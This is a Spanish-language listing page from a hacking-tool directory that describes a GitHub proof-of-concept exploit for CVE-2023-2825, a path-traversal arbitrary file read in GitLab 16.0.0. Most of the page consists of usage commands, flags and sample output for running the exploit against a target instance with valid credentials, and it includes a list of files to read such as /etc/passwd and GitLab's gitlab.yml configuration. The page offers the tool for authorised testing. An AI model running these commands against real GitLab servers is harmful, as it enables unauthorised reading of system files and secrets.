Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-2825-PoC — PoC para CVE-2023-2825: lectura arbitraria de archivos automatizada en GitLab 16.0.0 mediante grupos públicos anidados, recorrido de rutas en subidas de proyectos, rutas de subida reutilizables y salida CLI limpia. | Kitploit
Herramientas/GitHubGitHub/groppoxx/cve-2023-2825-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC para CVE-2023-2825: lectura arbitraria de archivos automatizada en GitLab 16.0.0 mediante grupos públicos anidados, recorrido de rutas en subidas de proyectos, rutas de subida reutilizables y salida CLI limpia.

Ver Repositorio
4hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-2825-PoC

Prueba de concepto para CVE-2023-2825, una vulnerabilidad de lectura arbitraria de archivos en GitLab CE/EE 16.0.0.

El script inicia sesión con una cuenta válida de GitLab, crea la estructura requerida de grupos públicos anidados, crea un proyecto público, sube un archivo adjunto y utiliza el comportamiento vulnerable de path traversal en la subida de archivos para leer un archivo objetivo del servidor de GitLab.

También admite reutilizar una ruta de subida existente, por lo que no necesitas crear nuevos grupos y proyectos para cada lectura de archivo.

Qué hace

  1. Se autentica en la instancia de GitLab objetivo.
  2. Crea grupos públicos anidados usando rutas cortas para un anidamiento profundo fiable.
  3. Crea un proyecto público dentro del grupo más profundo.
  4. Sube un archivo adjunto pequeño al proyecto.
  5. Construye la ruta de traversal desde el directorio de subida.
  6. Lee un archivo o una lista de archivos.
  7. Imprime una ruta de subida reutilizable para lecturas posteriores más rápidas.

Requisitos

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Paquetes de Python requeridos:

root@kitploit:~
beautifulsoup4
requests
urllib3

Inicio rápido

Los valores entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Marcadores de posición

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

Ejemplo completo

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Ejemplo de salida:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Reutilizar una ruta de subida

Después de una ejecución exitosa, el script imprime una ruta de subida reutilizable:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Úsala con --reuse-path para omitir el inicio de sesión, la creación de grupos, la creación del proyecto y la subida:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

También puedes pasar una URL completa y omitir --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Leer múltiples archivos

Crea una lista de archivos:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Ejecuta:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Banderas opcionales

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

Notas

  • El exploit requiere GitLab CE/EE 16.0.0.
  • Se necesita una cuenta válida de GitLab para crear los grupos públicos anidados y el proyecto.
  • La ruta vulnerable requiere un archivo adjunto en un proyecto público anidado dentro de múltiples grupos públicos.
  • Se usan nombres cortos de grupo intencionalmente para evitar problemas de creación de rutas profundas en GitLab.
  • Usa --reuse-path siempre que sea posible para evitar crear grupos y proyectos innecesarios.

Legal

Esta PoC está destinada a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No la utilices contra sistemas sin permiso explícito.

Descargar herramienta